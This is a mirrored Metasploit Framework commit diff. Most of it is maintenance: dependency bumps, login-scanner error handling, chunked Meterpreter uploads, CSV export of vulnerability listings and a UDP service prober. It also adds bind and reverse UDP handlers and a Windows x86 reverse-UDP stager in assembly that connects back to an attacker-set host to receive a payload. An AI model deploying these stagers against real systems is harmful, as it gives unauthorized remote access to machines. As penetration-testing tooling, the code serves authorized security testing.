1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Merge branch 'upstream-master' into land-9539-

This commit is contained in:
Brent Cook 2018-02-15 16:22:13 -06:00
commit 38b03fdfff
93 changed files with 1663 additions and 966 deletions

View File

@ -38,7 +38,6 @@ PATH
pg (= 0.20.0)
railties
rb-readline
rbnacl (< 5.0.0)
recog
redcarpet
rex-arch
@ -73,7 +72,7 @@ PATH
GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.2)
Ascii85 (1.0.3)
actionpack (4.2.10)
actionview (= 4.2.10)
activesupport (= 4.2.10)
@ -103,12 +102,12 @@ GEM
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.5.0)
arel-helpers (2.6.1)
activerecord (>= 3.1.0, < 6)
backports (3.11.0)
backports (3.11.1)
bcrypt (3.1.11)
bcrypt_pbkdf (1.0.0)
bindata (2.4.1)
bindata (2.4.2)
bit-struct (0.16)
builder (3.2.3)
coderay (1.1.2)
@ -127,7 +126,6 @@ GEM
i18n (>= 0.7)
faraday (0.13.1)
multipart-post (>= 1.2, < 3)
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.5)
google-protobuf (3.5.1)
@ -249,8 +247,6 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.3.0)
rb-readline (0.5.5)
rbnacl (4.0.2)
ffi
recog (2.1.17)
nokogiri
redcarpet (3.4.0)
@ -352,7 +348,7 @@ GEM
ttfunk (1.5.1)
tzinfo (1.2.4)
thread_safe (~> 0.1)
tzinfo-data (1.2017.3)
tzinfo-data (1.2018.3)
tzinfo (>= 1.0.0)
windows_error (0.1.2)
xdr (2.0.0)

View File

@ -5,6 +5,8 @@ module Metasploit
module Framework
module LoginScanner
class BavisionCamerasException < Exception; end
class BavisionCameras < HTTP
DEFAULT_PORT = 80
@ -59,7 +61,13 @@ module Metasploit
nonce_count = 1
cnonce = Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535)))
response['www-authenticate'] =~ /^(\w+) (.*)/
i = (response['www-authenticate'] =~ /^(\w+) (.*)/)
# The www-authenticate header does not return in the format we like,
# so let's bail.
unless i
raise BavisionCamerasException, 'www-authenticate header is not in the right format'
end
params = {}
$2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 }
@ -104,7 +112,7 @@ module Metasploit
begin
result_opts.merge!(try_digest_auth(credential))
rescue ::Rex::ConnectionError => e
rescue ::Rex::ConnectionError, BavisionCamerasException => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end

View File

@ -0,0 +1,208 @@
# -*- coding: binary -*-
module Msf
module Handler
###
#
# This module implements the Bind TCP handler. This means that
# it will attempt to connect to a remote host on a given port for a period of
# time (typically the duration of an exploit) to see if a the payload has
# started listening. This can tend to be rather verbose in terms of traffic
# and in general it is preferable to use reverse payloads.
#
###
module BindUdp
include Msf::Handler
#
# Returns the handler specific string representation, in this case
# 'bind_tcp'.
#
def self.handler_type
return "bind_udp"
end
#
# Returns the connection oriented general handler type, in this case bind.
#
def self.general_handler_type
"bind"
end
#
# Initializes a bind handler and adds the options common to all bind
# payloads, such as local port.
#
def initialize(info = {})
super
register_options(
[
Opt::LPORT(4444),
OptAddress.new('RHOST', [false, 'The target address', '']),
], Msf::Handler::BindUdp)
self.conn_threads = []
self.listener_threads = []
self.listener_pairs = {}
end
#
# Kills off the connection threads if there are any hanging around.
#
def cleanup_handler
# Kill any remaining handle_connection threads that might
# be hanging around
conn_threads.each { |thr|
thr.kill
}
end
#
# Starts a new connecting thread
#
def add_handler(opts={})
# Merge the updated datastore values
opts.each_pair do |k,v|
datastore[k] = v
end
# Start a new handler
start_handler
end
#
# Starts monitoring for an outbound connection to become established.
#
def start_handler
# Maximum number of seconds to run the handler
ctimeout = 150
# Maximum number of seconds to await initial udp response
rtimeout = 5
if (exploit_config and exploit_config['active_timeout'])
ctimeout = exploit_config['active_timeout'].to_i
end
# Take a copy of the datastore options
rhost = datastore['RHOST']
lport = datastore['LPORT']
# Ignore this if one of the required options is missing
return if not rhost
return if not lport
# Only try the same host/port combination once
phash = rhost + ':' + lport.to_s
return if self.listener_pairs[phash]
self.listener_pairs[phash] = true
# Start a new handling thread
self.listener_threads << framework.threads.spawn("BindUdpHandlerListener-#{lport}", false) {
client = nil
print_status("Started bind handler")
if (rhost == nil)
raise ArgumentError,
"RHOST is not defined; bind stager cannot function.",
caller
end
stime = Time.now.to_i
while (stime + ctimeout > Time.now.to_i)
begin
client = Rex::Socket::Udp.create(
'PeerHost' => rhost,
'PeerPort' => lport.to_i,
'Proxies' => datastore['Proxies'],
'Context' =>
{
'Msf' => framework,
'MsfPayload' => self,
'MsfExploit' => assoc_exploit
})
rescue Rex::ConnectionRefused
# Connection refused is a-okay
rescue ::Exception
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
end
client.extend(Rex::IO::Stream)
begin
# If a connection was acknowledged, request a basic response before promoting as a session
if client
message = 'syn'
client.write("echo #{message}\n")
response = client.get(rtimeout)
break if response && response.include?(message)
client.close()
client = nil
end
rescue Errno::ECONNREFUSED
client.close()
client = nil
wlog("Connection failed in udp bind handler continuing attempts: #{$!.class} #{$!}")
end
# Wait a second before trying again
Rex::ThreadSafe.sleep(0.5)
end
# Valid client connection?
if (client)
# Increment the has connection counter
self.pending_connections += 1
# Timeout and datastore options need to be passed through to the client
opts = {
:datastore => datastore,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:udp_session => true
}
# Start a new thread and pass the client connection
# as the input and output pipe. Client's are expected
# to implement the Stream interface.
conn_threads << framework.threads.spawn("BindUdpHandlerSession", false, client) { |client_copy|
begin
handle_connection(client_copy, opts)
rescue
elog("Exception raised from BindUdp.handle_connection: #{$!}")
end
}
else
wlog("No connection received before the handler completed")
end
}
end
#
# Nothing to speak of.
#
def stop_handler
# Stop the listener threads
self.listener_threads.each do |t|
t.kill
end
self.listener_threads = []
self.listener_pairs = {}
end
protected
attr_accessor :conn_threads # :nodoc:
attr_accessor :listener_threads # :nodoc:
attr_accessor :listener_pairs # :nodoc:
end
end
end

View File

@ -0,0 +1,265 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'thread'
module Msf
module Handler
###
#
# This module implements the reverse TCP handler. This means
# that it listens on a port waiting for a connection until
# either one is established or it is told to abort.
#
# This handler depends on having a local host and port to
# listen on.
#
###
module ReverseUdp
include Msf::Handler
#
# Returns the string representation of the handler type, in this case
# 'reverse_tcp'.
#
def self.handler_type
return "reverse_udp"
end
#
# Returns the connection-described general handler type, in this case
# 'reverse'.
#
def self.general_handler_type
"reverse"
end
#
# Initializes the reverse TCP handler and ads the options that are required
# for all reverse TCP payloads, like local host and local port.
#
def initialize(info = {})
super
register_options(
[
Opt::LHOST,
Opt::LPORT(4444)
], Msf::Handler::ReverseUdp)
# XXX: Not supported by all modules
register_advanced_options(
[
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
] +
Msf::Opt::stager_retry_options,
Msf::Handler::ReverseUdp)
self.conn_threads = []
end
#
# Starts the listener but does not actually attempt
# to accept a connection. Throws socket exceptions
# if it fails to start the listener.
#
def setup_handler
ex = false
comm = case datastore['ReverseListenerComm'].to_s
when "local"; ::Rex::Socket::Comm::Local
when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i]
else; nil
end
unless comm.is_a? ::Rex::Socket::Comm
comm = nil
end
local_port = bind_port
addrs = bind_address
addrs.each { |ip|
begin
self.listener_sock = Rex::Socket::Udp.create(
'LocalHost' => ip,
'LocalPort' => local_port,
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfPayload' => self,
'MsfExploit' => assoc_exploit
})
ex = false
comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )
comm_used = Rex::Socket::Comm::Local if comm_used == nil
if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )
via = "via the #{comm_used.type} on session #{comm_used.sid}"
else
via = ""
end
print_status("Started reverse handler on #{ip}:#{local_port} #{via}")
break
rescue
ex = $!
print_error("Handler failed to bind to #{ip}:#{local_port}")
end
}
raise ex if (ex)
end
#
# Closes the listener socket if one was created.
#
def cleanup_handler
stop_handler
# Kill any remaining handle_connection threads that might
# be hanging around
conn_threads.each { |thr|
thr.kill rescue nil
}
end
#
# Starts monitoring for an inbound connection.
#
def start_handler
queue = ::Queue.new
local_port = bind_port
self.listener_thread = framework.threads.spawn("ReverseUdpHandlerListener-#{local_port}", false, queue) { |lqueue|
loop do
# Accept a client connection
begin
inbound, peerhost, peerport = self.listener_sock.recvfrom
next if peerhost.nil?
cli_opts = {
'PeerPort' => peerport,
'PeerHost' => peerhost,
'LocalPort' => self.listener_sock.localport,
'Comm' => self.listener_sock.respond_to?(:comm) ? self.listener_sock.comm : nil
}
# unless ['::', '0.0.0.0'].any? {|alladdr| self.listener_sock.localhost == alladdr }
# cli_opts['LocalHost'] = self.listener_sock.localhost
# end
client = Rex::Socket.create_udp(cli_opts)
client.extend(Rex::IO::Stream)
if ! client
wlog("ReverseUdpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
break
end
self.pending_connections += 1
lqueue.push([client,inbound])
rescue ::Exception
wlog("ReverseUdpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
break
end
end
}
self.handler_thread = framework.threads.spawn("ReverseUdpHandlerWorker-#{local_port}", false, queue) { |cqueue|
loop do
begin
client, inbound = cqueue.pop
if ! client
elog("ReverseUdpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
break
end
# Timeout and datastore options need to be passed through to the client
opts = {
:datastore => datastore,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:udp_session => inbound
}
if datastore['ReverseListenerThreaded']
self.conn_threads << framework.threads.spawn("ReverseUdpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
handle_connection(client_copy, opts)
}
else
handle_connection(client, opts)
end
rescue ::Exception
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
end
end
}
end
#
# Stops monitoring for an inbound connection.
#
def stop_handler
# Terminate the listener thread
if (self.listener_thread and self.listener_thread.alive? == true)
self.listener_thread.kill
self.listener_thread = nil
end
# Terminate the handler thread
if (self.handler_thread and self.handler_thread.alive? == true)
self.handler_thread.kill
self.handler_thread = nil
end
if (self.listener_sock)
self.listener_sock.close
self.listener_sock = nil
end
end
protected
def bind_port
port = datastore['ReverseListenerBindPort'].to_i
port > 0 ? port : datastore['LPORT'].to_i
end
def bind_address
# Switch to IPv6 ANY address if the LHOST is also IPv6
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
# First attempt to bind LHOST. If that fails, the user probably has
# something else listening on that interface. Try again with ANY_ADDR.
any = (addr.length == 4) ? "0.0.0.0" : "::0"
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
if not datastore['ReverseListenerBindAddress'].to_s.empty?
# Only try to bind to this specific interface
addrs = [ datastore['ReverseListenerBindAddress'] ]
# Pick the right "any" address if either wildcard is used
addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0")
end
addrs
end
attr_accessor :listener_sock # :nodoc:
attr_accessor :listener_thread # :nodoc:
attr_accessor :handler_thread # :nodoc:
attr_accessor :conn_threads # :nodoc:
end
end
end

View File

@ -17,6 +17,12 @@ module Msf::Payload::TransportConfig
config
end
def transport_config_reverse_udp(upts={})
config =transport_config_reverse_tcp(opts)
config[:scheme] = 'udp'
config
end
def transport_config_reverse_ipv6_tcp(opts={})
ds = opts[:datastore] || datastore
config = transport_config_reverse_tcp(opts)

View File

@ -125,7 +125,8 @@ module Payload::Windows::ReverseTcp
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, ebp
call eax ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
@ -298,7 +299,8 @@ module Payload::Windows::ReverseTcp
dec [esp] ; decrement the counter
; try again
jmp create_socket
jnz create_socket
jmp failure
^
end

View File

@ -142,7 +142,8 @@ module Payload::Windows::ReverseTcpRc4
dec [esp] ; decrement the counter
; try again
jmp create_socket
jnz create_socket
jmp failure
^
end

View File

@ -0,0 +1,175 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/reverse_tcp'
module Msf
###
#
# Complex reverse_udp payload generation for Windows ARCH_X86
#
###
module Payload::Windows::ReverseUdp
include Msf::Payload::TransportConfig
include Msf::Payload::Windows::ReverseTcp
#
# Generate the first stage
#
def generate
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_udp(conf)
end
def transport_config(opts={})
transport_config_reverse_udp(opts)
end
#
# Generate and compile the stager
#
def generate_reverse_udp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_udp(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count Number of retry attempts
#
def asm_reverse_udp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_udp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
push #{retry_count} ; retry counter
create_socket:
push #{encoded_host} ; host in little-endian format - #{opts[:host]}
push #{encoded_port} ; family AF_INET and port number - #{opts[:port]}
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
inc eax ;
push eax ; push SOCK_DGRAM (UDP socket)
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_connect_failure:
; decrement our attempt count and try again
dec [esi+8]
jnz try_connect
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
^
# UDP receivers need to read something from the new socket
if include_send_uuid
asm << asm_send_uuid
else
asm << asm_send_newline
end
asm
end
def asm_send_newline
newline = raw_to_db "\n"
asm =%Q^
send_newline:
push 0 ; flags
push #{newline.length} ; length of the newline
call get_nl_address ; put newline buffer on the stack
db #{newline} ; newline
get_nl_address:
push edi ; saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
call ebp ; call send
^
asm
end
end
end

View File

@ -26,7 +26,8 @@ module Interactive
# A nil is passed in the case of non-stream interactive sessions (Meterpreter)
if rstream
self.rstream = rstream
self.ring = Rex::IO::RingBuffer.new(rstream, {:size => opts[:ring_size] || 100 })
klass = opts[:udp_session] ? Rex::IO::RingBufferUdp : Rex::IO::RingBuffer
self.ring = klass.new(rstream, {:size => opts[:ring_size] || 100 })
end
super()
end
@ -151,4 +152,3 @@ end
end
end

View File

@ -777,6 +777,7 @@ class Db
print_line "Usage: vulns [addr range]"
print_line
print_line " -h,--help Show this help information"
print_line " -o <file> Send output to a file in csv format"
print_line " -p,--port <portspec> List vulns matching this port spec"
print_line " -s <svc names> List vulns matching these service names"
print_line " -R,--rhosts Set RHOSTS from the results of the search"
@ -801,6 +802,7 @@ class Db
search_term = nil
show_info = false
set_rhosts = false
output_file = nil
# Short-circuit help
if args.delete "-h"
@ -817,6 +819,14 @@ class Db
when "-h","--help"
cmd_vulns_help
return
when "-o", "--output"
output_file = args.shift
if output_file
output_file = File.expand_path(output_file)
else
print_error("Invalid output filename")
return
end
when "-p","--port"
unless (arg_port_range(args.shift, port_ranges, true))
return
@ -846,6 +856,10 @@ class Db
host_ranges.push(nil) if host_ranges.empty?
ports = port_ranges.flatten.uniq
svcs.flatten!
tbl = Rex::Text::Table.new(
'Header' => 'Vulnerabilities',
'Columns' => ['Timestamp', 'Host', 'Name', 'References', 'Information']
)
each_host_range_chunk(host_ranges) do |host_search|
framework.db.hosts(framework.db.workspace, false, host_search).each do |host|
@ -857,19 +871,34 @@ class Db
)
end
reflist = vuln.refs.map { |r| r.name }
if(vuln.service)
# Skip this one if the user specified a port and it
# doesn't match.
next unless ports.empty? or ports.include? vuln.service.port
# Same for service names
next unless svcs.empty? or svcs.include?(vuln.service.name)
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
else
# This vuln has no service, so it can't match
next unless ports.empty? and svcs.empty?
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
end
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
if output_file
row = []
row << vuln.created_at
row << host.address
row << vuln.name
row << reflist * ","
if show_info && vuln.info
row << "info=#{vuln.info}"
else
row << ''
end
tbl << row
end
if set_rhosts
addr = (host.scope ? host.address + '%' + host.scope : host.address)
rhosts << addr
@ -878,6 +907,11 @@ class Db
end
end
if output_file
File.write(output_file, tbl.to_csv)
print_status("Wrote vulnerability information to #{output_file}")
end
# Finally, handle the case where the user wants the resulting list
# of hosts to go into RHOSTS.
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts

View File

@ -1633,7 +1633,6 @@ require 'msf/core/exe/segment_appender'
# target code there, setting an exception handler that calls ExitProcess
# and finally executing the code.
def self.win32_rwx_exec(code)
stub_block = %Q^
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
@ -1741,7 +1740,8 @@ require 'msf/core/exe/segment_appender'
exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
mov eax, ebp
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...

View File

@ -275,17 +275,24 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
# Open the file on the remote side for writing and read
# all of the contents of the local file
stat.call('uploading', src_file, dest_file) if (stat)
dest_fd = client.fs.file.new(dest_file, "wb")
src_buf = ''
::File.open(src_file, 'rb') { |f|
src_buf = f.read(f.stat.size)
}
dest_fd = nil
src_fd = nil
buf_size = 8 * 1024 * 1024
begin
dest_fd.write(src_buf)
dest_fd = client.fs.file.new(dest_file, "wb")
src_fd = ::File.open(src_file, "rb")
src_size = src_fd.stat.size
while (buf = src_fd.read(buf_size))
dest_fd.write(buf)
percent = dest_fd.pos.to_f / src_size.to_f * 100.0
msg = "Uploaded #{Filesize.new(dest_fd.pos).pretty} of " \
"#{Filesize.new(src_size).pretty} (#{percent.round(2)}%)"
stat.call(msg, src_file, dest_file)
end
ensure
dest_fd.close
src_fd.close unless src_fd.nil?
dest_fd.close unless dest_fd.nil?
end
stat.call('uploaded', src_file, dest_file) if (stat)
end

View File

@ -874,9 +874,12 @@ class Packet < GroupTlv
# Xor a set of bytes with a given XOR key.
#
def xor_bytes(xor_key, bytes)
xor_key = xor_key.bytes
result = ''
bytes.bytes.zip(xor_key.bytes.cycle).each do |b|
result << (b[0].ord ^ b[1].ord).chr
i = 0
bytes.each_byte do |b|
result << (b ^ xor_key[i % xor_key.length]).chr
i += 1
end
result
end

View File

@ -125,7 +125,6 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'dnsruby'
spec.add_runtime_dependency 'mqtt'
spec.add_runtime_dependency 'net-ssh'
spec.add_runtime_dependency 'rbnacl', ['< 5.0.0']
spec.add_runtime_dependency 'bcrypt_pbkdf'
spec.add_runtime_dependency 'ruby_smb'

View File

@ -0,0 +1,533 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Module::Deprecated
def initialize
super(
'Name' => 'UDP Service Prober',
'Description' => 'Detect common UDP services using sequential probes',
'Author' => 'hdm',
'License' => MSF_LICENSE
)
register_options(
[
Opt::CHOST,
])
register_advanced_options(
[
OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true])
])
# Intialize the probes array
@probes = []
# Add the UDP probe method names
@probes << 'probe_pkt_dns'
@probes << 'probe_pkt_netbios'
@probes << 'probe_pkt_portmap'
@probes << 'probe_pkt_mssql'
@probes << 'probe_pkt_ntp'
@probes << 'probe_pkt_snmp1'
@probes << 'probe_pkt_snmp2'
@probes << 'probe_pkt_sentinel'
@probes << 'probe_pkt_db2disco'
@probes << 'probe_pkt_citrix'
@probes << 'probe_pkt_pca_st'
@probes << 'probe_pkt_pca_nq'
@probes << 'probe_chargen'
end
def setup
super
if datastore['RANDOMIZE_PORTS']
@probes = @probes.sort_by { rand }
end
end
# Fingerprint a single host
def run_host(ip)
@results = {}
@thost = ip
begin
udp_sock = nil
@probes.each do |probe|
# Send each probe to each host
begin
data, port = self.send(probe, ip)
@tport = port
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( {
'LocalHost' => datastore['CHOST'] || nil,
'PeerHost' => ip, 'PeerPort' => port,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
})
udp_sock.put(data)
r = udp_sock.recvfrom(65535, 0.1) and r[1]
parse_reply(r) if r
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
nil
ensure
udp_sock.close if udp_sock
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e} #{e.backtrace}")
end
@results.each_key do |k|
next if not @results[k].respond_to?('keys')
data = @results[k]
next unless inside_workspace_boundary?(data[:host])
conf = {
:host => data[:host],
:port => data[:port],
:proto => 'udp',
:name => data[:app],
:info => data[:info]
}
if data[:hname]
conf[:host_name] = data[:hname].downcase
end
if data[:mac]
conf[:mac] = data[:mac].downcase
end
report_service(conf)
print_good("Discovered #{data[:app]} on #{k} (#{data[:info]})")
end
end
#
# The response parsers
#
def parse_reply(pkt)
# Ignore "empty" packets
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
app = 'unknown'
inf = ''
maddr = nil
hname = nil
hkey = "#{pkt[1]}:#{pkt[2]}"
# Work with protocols that return different data in different packets
# These are reported at the end of the scanning loop to build state
case pkt[2]
when 5632
@results[hkey] ||= {}
data = @results[hkey]
data[:app] = "pcAnywhere_stat"
data[:port] = pkt[2]
data[:host] = pkt[1]
case pkt[0]
when /^NR(........................)(........)/
name = $1.dup
caps = $2.dup
name = name.gsub(/_+$/, '').gsub("\x00", '').strip
caps = caps.gsub(/_+$/, '').gsub("\x00", '').strip
data[:name] = name
data[:caps] = caps
when /^ST(.+)/
buff = $1.dup
stat = 'Unknown'
if buff[2,1].unpack("C")[0] == 67
stat = "Available"
end
if buff[2,1].unpack("C")[0] == 11
stat = "Busy"
end
data[:stat] = stat
end
if data[:name]
inf << "Name: #{data[:name]} "
end
if data[:stat]
inf << "- #{data[:stat]} "
end
if data[:caps]
inf << "( #{data[:caps]} ) "
end
data[:info] = inf
end
# Ignore duplicates for the protocols below
return if @results[hkey]
case pkt[2]
when 19
app = 'chargen'
return unless chargen_parse(pkt[0])
@results[hkey] = true
when 53
app = 'DNS'
ver = nil
if (not ver and pkt[0] =~ /([6789]\.[\w\.\-_\:\(\)\[\]\/\=\+\|\{\}]+)/i)
ver = 'BIND ' + $1
end
ver = 'Microsoft DNS' if (not ver and pkt[0][2,4] == "\x81\x04\x00\x01")
ver = 'TinyDNS' if (not ver and pkt[0][2,4] == "\x81\x81\x00\x01")
ver = pkt[0].unpack('H*')[0] if not ver
inf = ver if ver
@results[hkey] = true
when 137
app = 'NetBIOS'
data = pkt[0]
head = data.slice!(0,12)
xid, flags, quests, answers, auths, adds = head.unpack('n6')
return if quests != 0
return if answers == 0
qname = data.slice!(0,34)
rtype,rclass,rttl,rlen = data.slice!(0,10).unpack('nnNn')
buff = data.slice!(0,rlen)
names = []
case rtype
when 0x21
rcnt = buff.slice!(0,1).unpack("C")[0]
1.upto(rcnt) do
tname = buff.slice!(0,15).gsub(/\x00.*/, '').strip
ttype = buff.slice!(0,1).unpack("C")[0]
tflag = buff.slice!(0,2).unpack('n')[0]
names << [ tname, ttype, tflag ]
end
maddr = buff.slice!(0,6).unpack("C*").map{|c| "%.2x" % c }.join(":")
names.each do |name|
inf << name[0]
inf << ":<%.2x>" % name[1]
if (name[2] & 0x8000 == 0)
inf << ":U :"
else
inf << ":G :"
end
end
inf << maddr
if(names.length > 0)
hname = names[0][0]
end
end
@results[hkey] = true
when 111
app = 'Portmap'
buf = pkt[0]
inf = ""
hed = buf.slice!(0,24)
svc = []
while(buf.length >= 20)
rec = buf.slice!(0,20).unpack("N5")
svc << "#{rec[1]} v#{rec[2]} #{rec[3] == 0x06 ? "TCP" : "UDP"}(#{rec[4]})"
report_service(
:host => pkt[1],
:port => rec[4],
:proto => (rec[3] == 0x06 ? "tcp" : "udp"),
:name => "sunrpc",
:info => "#{rec[1]} v#{rec[2]}"
)
end
inf = svc.join(", ")
@results[hkey] = true
when 123
app = 'NTP'
ver = nil
ver = pkt[0].unpack('H*')[0]
ver = 'NTP v3' if (ver =~ /^1c06|^1c05/)
ver = 'NTP v4' if (ver =~ /^240304/)
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
inf = ver if ver
@results[hkey] = true
when 1434
app = 'MSSQL'
mssql_ping_parse(pkt[0]).each_pair { |k,v|
inf += k+'='+v+' '
}
@results[hkey] = true
when 161
app = 'SNMP'
asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil
return if not asn
snmp_error = asn.value[0].value rescue nil
snmp_comm = asn.value[1].value rescue nil
snmp_data = asn.value[2].value[3].value[0] rescue nil
snmp_oid = snmp_data.value[0].value rescue nil
snmp_info = snmp_data.value[1].value rescue nil
return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info)
snmp_info = snmp_info.to_s.gsub(/\s+/, ' ')
inf = snmp_info
com = snmp_comm
@results[hkey] = true
when 5093
app = 'Sentinel'
@results[hkey] = true
when 523
app = 'ibm-db2'
inf = db2disco_parse(pkt[0])
@results[hkey] = true
when 1604
app = 'citrix-ica'
return unless citrix_parse(pkt[0])
@results[hkey] = true
end
return unless inside_workspace_boundary?(pkt[1])
report_service(
:host => pkt[1],
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
